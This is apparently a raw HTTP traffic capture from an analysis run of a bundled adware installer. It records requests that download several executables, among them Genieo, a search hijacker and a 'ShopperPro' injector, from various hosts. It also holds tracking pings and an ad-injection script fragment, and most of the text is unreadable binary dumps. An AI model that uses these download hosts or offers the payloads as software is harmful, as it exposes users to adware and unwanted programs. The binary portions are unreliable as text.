Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: test.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html

Content-Encoding: gzip

Last-Modified: Mon, 21 Jul 2008 09:41:32 GMT

Accept-Ranges: bytes

ETag: "bfefaff515ebc81:0"

Vary: Accept-Encoding

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:34 GMT

Content-Length: 167
.............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?".......~....O......7.O.........
....'_>.}. ..>..o.?...MF.....

GET /sd?is=sm HTTP/1.1

Range: bytes=72933-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Fri, 09 Jan 2015 04:52:17 GMT

Date: Thu, 08 Jan 2015 04:52:17 GMT

Content-Range: bytes 72933-583463/583464

Content-Length: 510531

Connection: keep-alive
[email protected])...) ...M.cPT8.l.m,...a2QH.Z.iT%
..I..$c5...>.l.(.G.h........KbN}..s.6....h...R...$-..Xe..\......  3
.i..y.Q7..*..t..b...h._.K ,r....CL...ff....A.X.r....PGbph.[=J.....l...
.0.J......u>.>"....'...8...[..8,...O.kSP..y.Ab"..:F*..Ht.'..Fj..
BH&.........T. \...-........-.n?.qh.........>k....!...........t..V.
Y..8.~uU...@.[.mcM.$~..(%.~.aw.....k....Y..'.k..E^g.B.Jd..v.....=!.SBQ
6....._<J...y.......n..=.AmT.v.q..."...&..<.G...1......sc.}.O..&
3.>.,.kw...f..b.'....OvJ|P.a....,[email protected]`V.......F
..a.Y.....[.3R...3L.G.........gYw..&....B..........9./....7.WYgF!....C
.....6.T....Ak.K.....E.0....S.\...1o.x\....s.....g.....d.......84....4
.....b..mK....P.g...z..9.&Xf.p.g..N%.Z.BA..xw......G.....}..Q..s.....m
 $O.b...T...\.....A.t(_.y..#...G.....ZM..U...EK8.^..l.....A.O..stm.*^.
..........`,OD..w......m..',~.......d..e.N.....XY.l[.0"3..V.....M.O1.X
oV....gKCjh...../..6.Dm/....2J.us, ...}.e.dd.`a.....l....,...,Q5`.N...
{..|C.7R. 5....T.. W.".\ .0u..l\v......nSl&...kR.a....6...XE|..F...^aW
|...i.X..~n.E..l)jV...%..0..v?P7........... .f_....9 ..w....0C.O..^.n.
.M....G{.........F/..=).<...W2..\L..[.1....7^{[I..C..3.v...^;Y.....
.m....//:....$......^...b;....|=...2.....:!.W....;...m......aY.s..}...
v5.5.^C..W:....[..Q.....D..q(.......NG..EK....:.. S........rc.G..D...&
lt;[email protected].......>.sg[k....6....6R...5...#...}.T~ .]f.?...iV
K >.._;.v4fFA.t.X.9R.......f.....u......... .. V..;r..*..a:.r{V...X
.[..{....<...Q...aJ...:.....-.{.L.)...S2.w.9.E(....S|...F.....,<<< skipped >>>

GET /home/smt_mystartsearch.exe HTTP/1.1

Range: bytes=38540-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlzhangwei.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Thu, 08 Jan 2015 04:52:16 GMT

Content-Type: application/octet-stream

Content-Length: 269780

Last-Modified: Wed, 07 Jan 2015 02:46:14 GMT

Connection: keep-alive

Expires: Sun, 11 Jan 2015 04:52:16 GMT

Cache-Control: max-age=259200

Content-Range: bytes 38540-308319/308320
.....Kz...E.P..`...P..H....M..E............H...P......}..r..u.........
..t.....E......E......E..r...`............E...}....t.........p........
.`....r..u...........~..........................x....u.3.....~....Q..d
$...A..u. .Q..~...P..x....dy...E..j.h..A..M..E......E......E...?y...E.
.j.h..A...`.....t.........p.........`......y...E.P..`...P..x....M..E..
..........x...P......}..r..u...........t.....E......E......E..r...`...
.........E...}....t.........p.........`....r..u..w........\......H....
C.H....M......P..H.........}..r..u..>...............x....C.x....M..
....P..x.........}..r..u...........\........A.j.j.j...H....C.H...Pj.h.
.......3..w.................Q..........D...Vj.P.}l.......\....W..D....
.H....C.H...WQj.h.............j.j.j...x....C.x...Pj.h........3..w.....
............Q.'........Vj.S..l............WSW..x....C.x...Qj.h........
[email protected]./.......
......r...x.............\..........................x......>.....H..
..|....... ...3.h....f.E..E.f.E.f.E..E.f.E..E.P..4...P..8...P.W...<
...Ph.....E.Pj.f..E.f..E.f..E.f..E.f..E.f..E.f..E.f..E.....A.3.h....Pf
[email protected][email protected].....
t'[email protected].@j.
............<...Ph..A.h....V.}.......M.d......Y_^[.M.3..".....]..U.
....SV.5..A.Wj [email protected]@.]...j....E.Ph....Vj Sh.....C........
W.u...........A..}..u............5..A......u..._^..[..].U....8..0B.3..
E.Sj..E.h..A.P......A.....E.j.j.j.j.j.h....P....A..E....u.3.[.M.3.<<< skipped >>>

GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=9e6180970114bd468bddca6b91fb0979&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=geneio_non_search_for_pc&tokyo_csrf2_key=9344b29550cc9b119856a386936a015a&tokyo_csrf2_timestamp=1420692913&slot_number=4&index_in_screen=1&index_in_session=4&display_height=75&0.4594330330255643 HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awfr7zip23772/7zip/9e6180970114bd468bddca6b91fb0979?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: installer.filebulldog.com

Connection: Keep-Alive

Cookie: __utma=1.260128705.1420692778.1420692778.1420692778.1; __utmb=1.5.10.1420692778; __utmz=1.1420692778.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1; __utmc=1


HTTP/1.1 200 OK

Server: nginx

Date: Thu, 08 Jan 2015 04:56:27 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 08 Jan 2015 04:56:27 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /script/layer?pid=14567725608&ln=en HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=76&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: a.visadd.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Thu, 08 Jan 2015 04:54:23 GMT

Content-Type: application/javascript

Content-Length: 123859

Vary: Accept-Encoding

Etag: "1e53403bdf7a35f8f481b6e4d9d4794fe872f3f5"

Cache-Control: public, max-age=3600

P3p: CP="CAO DSP COR CURa ADMa DEVa PSAa PSDa IVAi IVDi CONi OUR OTRi IND PHY ONL UNI FIN COM NAV INT DEM STA"

Set-Cookie: a.visadd.com=; Expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/
.(function() {.String.prototype.startsWith = function(str).{return (th
is.match("^" str)==str)}.if (!("classList" in document.documentElement
) && Object.defineProperty && typeof HTMLElement !== 'undefined') {.Ob
ject.defineProperty(HTMLElement.prototype, 'classList', {.get: functio
n() {.var self = this;.function update(fn) {.return function(value) {.
var classes = self.className.split(/\s /),.index = classes.indexOf(val
ue);.fn(classes, index, value);.self.className = classes.join(" ");.}.
}.var ret = {.add: update(function(classes, index, value) {.~index || 
classes.push(value);.}),.remove: update(function(classes, index) {.~in
dex && classes.splice(index, 1);.}),.toggle: update(function(classes, 
index, value) {.~index ? classes.splice(index, 1) : classes.push(value
);.}),.contains: function(value) {.return !!~self.className.split(/\s 
/).indexOf(value);.},.item: function(i) {.return self.className.split(
/\s /)[i] || null;.}.};.Object.defineProperty(ret, 'length', {.get: fu
nction() {.return self.className.split(/\s /).length;.}.});.return ret
;.}.});.}.if (!("watch" in document.documentElement) && Object.defineP
roperty && typeof HTMLElement !== 'undefined') {.Object.defineProperty
(HTMLElement.prototype, "watch", {.enumerable: false., configurable: t
rue., writable: false., value: function (prop, handler) {.var.oldval =
 this[prop]., newval = oldval., getter = function () {.return newval;.
}., setter = function (val) {.oldval = newval;.return newval = handler
.call(this, prop, oldval, val);.}.;.if (delete this[prop]) { // ca<<< skipped >>>

GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1

Range: bytes=370653-

User-Agent: Better Installer(Mozilla)

Host: download.genieo.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

x-amz-id-2: GAC35U0AZh/sNQi1UrHZi9rF3HnNMgN5xhAzW7DXqQTq3HQi3ZxJegYMN69 7hBTmdtK/TWcfAk=

x-amz-request-id: 561FE95C0D8F4699

Date: Thu, 08 Jan 2015 04:55:19 GMT

Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT

ETag: "d65611fbc4da8cea4e886076bec82d1e"

Accept-Ranges: bytes

Content-Range: bytes 370653-988407/988408

Content-Type: application/octet-stream

Content-Length: 617755

Server: AmazonS3
.......F....T2Y..B..U7...r....yR.5e..v.l.....a:{r.Ju.$..F}R..7Ul.4...N
i]H"x.O.....7..<...._*.;.....}U.).@k?jCE.4C.6|..{E.......1..t.^.<
;..F..z..>[email protected]&.e.......7u.(.q.1....=jm...e....- .......S>.
E.:.Qk..../l..n.J....R..^s... Q72.....Z.....X..IK.D}.. ..1?r~.. ..O..y
...y.7..\.h.Q..w..E...I-._....[.....K.jG.....q.5.*?...R\.f....u..P.?.i
.>l.9`..g..Q...p.f....k.m)...dK..N..).P.............w....!.......e.
.`.:...n..Bp2.jr...td.....~....wi-.P..?j8.j,.....].....K.<H...n....
.2.?".?.....4...QR...<R......c.\....._.%..v.dg.N. ...e.Xe.,&7,MY...
:,e.Z...,% .\.hK.....Y....^T. . ....<.A4.....6.(._x>........V...
...Sx.M.b)5)....Q.....V(..,..<t2.v.b..H.C...K......f];...a.R..14...
#Y..u.Aj....8<...... (.....l.DsaM#..$[_.IM|.WK.[%..[u?~...4.n.%..a.
...."...h/..i...`M.../...............X.\F.q.......;#....f....x.h."....
m..3nK.Jp(k..8.1.../.r.|...(.....#.,.....&%0.y..,......)..5.~.,...V...
;d.Vu...H.4G.#l....gL.j...y..?o...>I..)...g...H.!.;}/.Z..5.j...5...
..uR.......PM{....=...O..hDI...=H.6.PL..a6.!uz(.A........T.w...../..X.
.`\.x.7.'........>[email protected]
.@.^r#U.F...qv..D...j..%....8......r.%...K.....v$...i.t.....c.E......o
1e.Z>."..._4.UM$Keg..D...F...:.-1.ak.........-..|Y..A.#].g3...7..4.
.....Z..-.Q..yS._.uL.nK.e.M..Y"...p0OX...s2$w1....y.....06.)...(..C...
\.gX..>.h&..-.q&1....C..lI..>.W..T.J..MS..l.u.m81.R2..03R..3.<
;.....=X.........m.$wNp(3....D2.5.i..D4E.G..Z..?....eO.R.e......(l.Y..
. .....PE..!.|[email protected]..[XY.dz.;.u....U..r.... a<<< skipped >>>

GET / HTTP/1.1

Range: bytes=49776-99552

User-Agent: Better Installer(Mozilla)

Host: dl627.settleship.org

Cache-Control: no-cache

Cookie: __cfduid=df22ea57769325f0b5f313d0b6b9807031420692914


HTTP/1.1 302 Moved Temporarily

Date: Thu, 08 Jan 2015 04:57:23 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.4.19

location: tmps.exe

Server: cloudflare-nginx

CF-RAY: 1a55d064710a0f7b-FRA

0......

GET /tmps.exe HTTP/1.1

Range: bytes=49776-99552

User-Agent: Better Installer(Mozilla)

Host: dl627.settleship.org

Cache-Control: no-cache

Cookie: __cfduid=df22ea57769325f0b5f313d0b6b9807031420692914

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Thu, 08 Jan 2015 04:57:23 GMT

Content-Type: application/octet-stream

Content-Length: 49777

Connection: keep-alive

Last-Modified: Tue, 06 Jan 2015 18:40:02 GMT

Content-Range: bytes 49776-99552/199104

Server: cloudflare-nginx

CF-RAY: 1a55d064d1110f7b-FRA
....IH..,..[....k&....%.j...k..O.%N.j.........j.,..........k.Y..3...c.
@[email protected];..c;.,..T...\..j..k;.HI4...G.......k...HOZ
..G.......j..c;..P....V...X..j.4....N.....^..j.4....4....X.O..H..H..u.
J......k;;I.-G.........kB...N..{;...^..j...4.O4.I..6O..D........N...^.
.j..[;.4.4...6......_...j..k;.. $I..H.........j....N...;......^..j.4..
[email protected].,.w....y..[;3.s;;.[
;.......I........C;.....Q....*.._..[;.OL....pj?L.|I...k;...I........[;
.OL.C;;.............C;..........k;3.c;7.S;/.S;.....;..................
..................................%.OI...`...,...k..S;/..$.j...^.y$].k
C\...$.m..C;.....Z..y.]....y.^..s;?.C;............k:...,.....:.......,
#...]., ...]..M.Vj........k7.[;....[;.....%....k;..VJ........k;3.c;7.k
;..,J........k;3.c;7......K;?........,.....:.......,#...]., ...]..M.Vj
.NNNN.[; ONNww.^......S;[..'._...k)......K;;.......,.....:.......,#...
]., ...][email protected];.H...K;.......k:...,.....:..
....., ...].,....]..`[email protected]#.^...L.......
j...........u.Iw[.^...L.......j.......uu.IwS.^..iL.......j.......Pu.Iw
K.^..DL.......j....... u.IwC.^.._L.......j........u.Iw{.^..:L.......jX
.......H.f..V...^[email protected].[;.Ow....u..Y.OM...._...j..k;....._...AF
.-.AF...NIu....jL......[;...k?N...S;............,....ZS;...AF.u..f~...
.....IH...K;..S;..h...X..j.4...........`.... `......I..L......[;.....~
.......F...LJ,.,.,...........[;...7#^c.#Ea.#~c.#ea.#/c.#&a.#4k.#0ji...
Ow.!^...J.....Z..........!^.5..[..\...j\.[;.................S;....<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=0-249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: e0o7fa-su78sj1t.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Thu, 08 Jan 2015 04:53:09 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: fEHRQNW5acqAErbWEp1Kule1XKUEqVMSylQouvTeMxOJF9GvqdOoUK9VNYFEs8sGqxeQxaIimD4=

x-amz-request-id: 028529EAF4D005A6

Last-Modified: Tue, 06 Jan 2015 18:18:12 GMT

ETag: "592b1f0c3bcb225894b75e66445da21f"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 0-249999/4687858
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........2.......p....@.........................
.................................................s....................
...................................................................p..
.............................text....[.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected][email protected]
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...7B...Si.....VW.T.....tO.q.3.;5.7B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.7B.r._^[...U..QQ.U.SV..i.<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=500000-749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: e0o7fa-su78sj1t.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Thu, 08 Jan 2015 04:53:09 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: fEHRQNW5acqAErbWEp1Kule1XKUEqVMSylQouvTeMxOJF9GvqdOoUK9VNYFEs8sGqxeQxaIimD4=

x-amz-request-id: 028529EAF4D005A6

Last-Modified: Tue, 06 Jan 2015 18:18:12 GMT

ETag: "592b1f0c3bcb225894b75e66445da21f"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 500000-749999/4687858
[email protected]..=..Kf=h/...0....V.m...w....6...:...Yp..........r......'.
@...q.,..|... ............xa.1..A.b.....Q.=..48.L.KY8E".. @)..C.....Y.
......)NS...7......S.....j..E0L...;.0..u`.7..(.V.%..*.h.1..{..~RCx..uc
[.....Cl.m.!.>9.3H`<.....(...i....)\......l..8.#...l0R..g......'
\W..R..c.....;DjQ.....3....,...b~$.Q.%....k.M.3W....,.>....]j.d....
..........R.u.....Fl..uf..]*....A.i...AJ9<[o....ic.D8....:....[..Ba
R...Rx.t.....q?....q/y.23.6..U.Eh.L_...2.,QS.!%cX>.}D;}..5...7K\)..
.v...$.t. $....:X1.A...F.....9..-w^...'.[....3M..l!~.V.`.x.?.'.DB%...y
...r.dV..p...l..!.... ;.`.G".<X....N...........<....p......MQC..
k.;T.......A.=..Y?....*.......9...g.Mb[Z/y8...nb)4#[email protected]!.n.u...
.K..N...hx..U...."h.`.....a..r.....0...........=..}&....c.?.,[email protected]
/ .d.l?...N..%.3.F/.(%......p.N.8.w|.....(...VD....}.Jg{..x.=7z.F..K..
ol..h....I;.\.T...]4T..?......j.I..MF.d.E.9u...<...<.]Xn.3*...bn
......'..K...U{..%......3v.J......W..Z....O)..#,..EE....U..y|..J..A..y
.q....nc....C..."6.C E4)..aR{...W|..u1.}\.....<.j.4..jq^..J......-j
.........\...9.abt......x.i4Q.0.v-8..d..o.H.....R6.ehBp8.H.M|.M..._.@.
.MD.....RT...j...../#&.............j....y..&..y.F[.)...v:e....&.i.._..
...".O.8v.<.......>.Rd.}.22..Z2......%J3.........d..~\.0...I`...
....J..dl.,.....w.dTeY...#h...I..\.. .W.h %....x....j....&.......* .Kf
c............D.).g;....mj.wz"....1Z..J.I.v%.R2Y.[ k.'.R...y.._dj...m..
m]8..=.8......M.......x...Q....#..z*..D.....q.`g.5.d..............E}..
....6....9..dtE...c.....*..y...0r.i".i...........u...... ....*....<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=750000-999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: e0o7fa-su78sj1t.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Thu, 08 Jan 2015 04:53:09 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: fEHRQNW5acqAErbWEp1Kule1XKUEqVMSylQouvTeMxOJF9GvqdOoUK9VNYFEs8sGqxeQxaIimD4=

x-amz-request-id: 028529EAF4D005A6

Last-Modified: Tue, 06 Jan 2015 18:18:12 GMT

ETag: "592b1f0c3bcb225894b75e66445da21f"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 750000-999999/4687858
..Tg.u.........4......3C.u..z..hj.j.{ze...M..O..:..e.^..*8...ZC...ks..
>......4w......;.#..<.o....5...-.& .O.c-.....F..u....=p.m.Y...L.
...tIz..J.....VE.......M.......4u....}v..RN.`... i....|..'....u.......
.A."R....`[email protected]<.......@V;[email protected]
. }|.%.3d8.~O...t.^.t.H..t..`.c0..C...w.........1...Z8.e.{T:D..C...j..
.....aI.LMp4.j...D...(7...y..F.;....=.....K....L!H..~........,VD..I2.2
.}....{-B.3..b..`..S.s......cZU.iW.q.z........s..-...).$.....ey.1.y...
E...CA.Bi...1>..}.i....t...f..e1.@m.....=.9....>].....wT......o.
:..-.G.7.a.^.Nxm.C.7u....#?n.S........ ;.#..vH&.#.?..>.x.......<
......~. 3...<...W..t..)8P.FV\..|..{..Md....J.Qq....{-........,v..u
....#....g_Y.h..nT;......UkN..O^.#....[i..!:.....T......K..s...i..Y.w*
9..2......I..E?@q...>.GD..Y..b...:HNNHkt7..m..U[.._.d...bg.E..=...U
[%.....qy.a..*#pn...,....T.....0..v.G!.H.N.$D....J u.Z..T......q.E.>
;x........s.`..l.h....r....[.B..H..!|C..*...m.*j.PT.w.HYH...yT`....1..
J.d}....x|.qE...o.8I...Q.....<.c.jq..^..a.t.3..F..?....`.{k..q.MV..
...]O.._.e..j........"..&<t.Mxa...!....P.}.5p."D.....N.....r......s
.......t.....?j..Y...Z.....>p.j.G..G'..".o.1.8...\.....C.b. .7..|.m
 .q.K.......^..\.....v.......Z..J...g.1...'T.o/..O.....e..5....,...M#.
g... f.Ds..[jr...r..J.Z>r&/S..Y......'3.OE..5.:..A.w..nI[S......R.5
.......n...G:7......D ..../I....|..>W...X.*0......=Q.....d...'Z..7.
.|S8.X&W.d....y.x:.Bm..C...9.s....\....F'...R.taX....C..q.......G...V&
$.%.b<o..\$.y~9^...."..fo..~i.a".#=.!..v.....3K...o...S....h...<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=1250000-1499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: e0o7fa-su78sj1t.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Thu, 08 Jan 2015 04:53:09 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: fEHRQNW5acqAErbWEp1Kule1XKUEqVMSylQouvTeMxOJF9GvqdOoUK9VNYFEs8sGqxeQxaIimD4=

x-amz-request-id: 028529EAF4D005A6

Last-Modified: Tue, 06 Jan 2015 18:18:12 GMT

ETag: "592b1f0c3bcb225894b75e66445da21f"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 1250000-1499999/4687858
u:.B.[A..x....R.P....,if.....2.....f..0........1..R..=g..4.......S*...
.L'`:.Lu.....W........T.;.N.#..46.s......K.%...J.<....s.N%.O...L...
.Z..Y..H..a[....v.y........P.^.....!.."..Y..*.OA?).(.... ..JQ4.....Ou.
.........PMh..)..<...`...v...0..d6.FX.D..f..,.&N..{...}w$L........;
<X.}{...Ec.DE,.y.h...\%H..V?[.(S..JP.@g... m9p.].....l....& ...5f .
.Gbv.)aB.T.d....w....{..}[N.v..O N6..b..3."[email protected]..%?
..?37Y^}$W.m!..... ...y@...$.A.k.-,...(P.s....4.P......(@r2r.....%e}E.
...Q..1e........$......_.$..;...X..b.Xi=....:~..Hi....t...._m...p..vcK
4X.GF"Po............r......eE.....8A...I2...Z...4.....H....D...m..`...
JkU..91w...M..fT..2.=Ds.....LX_._O.").*K.b.O?....Vz..T*/S...^.hn.<.
......G..n.L!.......&.u.n.;Xx.[.......l..bop.i./x.o8...i...(|]..u.....
....D....L..G.X2.8u...........{....:..../,.7./...8....?.."m..U....M...
...,.......|..Q......i,G........e.B.M<U.F...l.WG6..S4......)c.h....
'........;.}..M4.u.I.O.).YNj..ZTk`.D..Yh.,........[.T...U[w5...1......
..f...:./...m^d?......F./2.J....D...wF..=...09....\.W.cJ..C.....(...&l
t;]....=...$L..&.I.........]....u.......j.eRX.h.|O.. ...SsFI!:)....V".
.K|.f....P..$...0.u.G...i.G..p>N.i.....J..7.8..Z.....cH..RIV2..;r.&
gt;|.B...a.I\I.....$|.l(%;Y.X......w.kM1B....*n..f.r..x.8uG.h.$w._...-
.#$...........k...3.5<Z>.F....u.......D.. .Z*../..;.....7.k..~..
E..=;;N..F7.)..m.3....s2n......w...4..N..........Se..T.....qK.c7c-...D
.:~..b*J5.q..g..` .k...C.}P.....5*...,....w....6..`. j.......Q'.<.$
.OH..tN....a...1o.d6.o..^.6:.......).;u.k..'..mu.$..D.....d2U..U$.<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=1750000-1999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: e0o7fa-su78sj1t.netdna-ssl.com

Connection: Keep-Alive

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=2000000-2249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: e0o7fa-su78sj1t.netdna-ssl.com

Connection: Keep-Alive

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=2500000-2749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: e0o7fa-su78sj1t.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Thu, 08 Jan 2015 04:53:09 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: fEHRQNW5acqAErbWEp1Kule1XKUEqVMSylQouvTeMxOJF9GvqdOoUK9VNYFEs8sGqxeQxaIimD4=

x-amz-request-id: 028529EAF4D005A6

Last-Modified: Tue, 06 Jan 2015 18:18:12 GMT

ETag: "592b1f0c3bcb225894b75e66445da21f"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 2500000-2749999/4687858
....aA'\.5..c....}.E.J....)F.d.T.E..K..'.V..C.-...j...V....Z:ks..^.\.0
:....x.....A.].j.`....{h..h....!z..>.../..^l.p..(..]GB...w"E...z=.6
....>../K.X...LS.Mo*..."k.[.....o.Q...c.]..X.m........Bc.U]..p.w...
fo...o..i!.t.css... .........g.M.........2$...S..A.&os4...=..Xl4).s&t.
.!q%...b..Y...?1..-..._*?C.......P..HeNm.....5eiw$=..4....K.:.......P8
...qo..[..D.t..z.l...ph...P f....JN.......hg.H...N... .U..C..&`...w)pR
....u..b......yJ7 *......Z.q..._...%.....{....#.o... ..nWV.>p.|.Tn.
4?.4..B{..96/........}....tU.Z..`[email protected]....(e5.Q.1..]S.......
...j........1.p.^...V.....Q.y.)g..7.L.."2y....(.r.y..E`n.#....w...M...
[email protected]....`..O.......$..N{..`L_....y_...
..4.O.......0\.....3KV......Kd..../Xr..V.".1..FK.%Ht........c..aF."...
(.....|..d....*.L.bba.t...:pFT.L.x..........O.e.....`...} .....r.t..L.
.\.Bo..<..).....>.Z.HU..7.............z......f.7M2..,}m..-....x.
..Z)....7..X.......q..=.(n%'.$".-S<...A...Vg..2.n/.v.[i'v.4.& F_...
Z...a........._...-n..W*...:`....m...?..\.......6...aK.....].#7.......
......A..lO.QM...i.k.V.......1..5..o.mA..z!....o8.#l..............&...
.=...."..bR.(%..%.......gY{.S%z.Q........%...U;.q...3['A../...i.4&w...
.3.#......A:m#...1....d...~.Q......i.....i.j>....IwQi..IT@a.:..a.V.
.....JR......"u...I.9.....J...Y.[.6M..k.G.?..7j.J....R....r.. T..1....
p.0......H-(P.'.,.. ....1.U........4!"c..|..K....K....7..%...e}F.-....
d....._.-x....Z...Bq?h...A7M..FL.6..1.......K..A{...2...Zr)......I.]{.
....e=Y........}=.D.s\.....u.J.%g.A...._..mv. ...gw/.\......8gTy..<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=3000000-3249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: e0o7fa-su78sj1t.netdna-ssl.com

Connection: Keep-Alive

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=3500000-3749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: e0o7fa-su78sj1t.netdna-ssl.com

Connection: Keep-Alive

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=4000000-4249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: e0o7fa-su78sj1t.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Thu, 08 Jan 2015 04:53:09 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: fEHRQNW5acqAErbWEp1Kule1XKUEqVMSylQouvTeMxOJF9GvqdOoUK9VNYFEs8sGqxeQxaIimD4=

x-amz-request-id: 028529EAF4D005A6

Last-Modified: Tue, 06 Jan 2015 18:18:12 GMT

ETag: "592b1f0c3bcb225894b75e66445da21f"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 4000000-4249999/4687858
c./>?5.....%.*4....s..v1.V......F....p..w...*....ja....Se.......c..
"....`...NH.n...76F:r..wBO..z..D..-...pO..~.0..a,.:...s.f.."rY..$....!
S1.kN*."=...gu]..5.[<...60....r.0...w_....U.?..D.Hr..0.".a.(... .W.
uU..G..UX../$...g.(M.j7...H.....!.5~Y......#}....<.....j.4....K....
.1@...&7.yS.{...&6.h.l.......t.xO..7...S7~0\..H..F.....E....:.W.u....&
lt;......e[.$x...S...m..6.h..D....v08;Z."....2^...*....J.%....#..'....
t.B_.@$Q8.~......t....v..y.y).h.K_V.b^.w.p.~./.#]*....W..........O.v..
